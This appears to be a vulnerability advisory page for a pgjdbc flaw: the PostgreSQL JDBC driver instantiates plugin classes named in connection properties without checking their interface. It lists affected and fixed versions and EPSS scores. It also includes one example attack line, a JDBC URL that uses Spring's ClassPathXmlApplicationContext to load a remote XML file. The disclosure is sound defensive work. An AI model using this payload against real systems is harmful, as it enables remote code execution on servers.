Loading advisory.
Loading advisory.
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
Published 2022-02-02 00:04 UTC · Modified 2026-09-10 03:49 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| org.postgresql:postgresql | Maven | >= 9.4.1208, < 42.2.25 >= 42.3.0, < 42.3.2 versions 42.0.0, 42.0.0.jre6, 42.0.0.jre7, 42.1.0, 42.1.0.jre7, 42.1.1, 42.1.1.jre6, 42.1.1.jre7, 42.1.2, 42.1.2.jre6, 42.1.2.jre7, 42.1.3, 42.1.3.jre6, 42.1.3.jre7, 42.1.4, 42.1.4.jre6, 42.1.4.jre7, 42.2.0, 42.2.0.jre6, 42.2.0.jre7 and 89 more | 42.2.25, 42.3.2 | No single command for Maven. Update to 42.2.25, 42.3.2 in your build file. |
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.031 on 2026-11-24 to 0.032 on 2026-11-30, over 3 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.031 | first score | v2026.06.15 |
| 2026-11-26 | 0.031 | 0.031 | v2026.06.15 |
| 2026-11-30 | 0.032 | 0.031 | v2026.06.15 |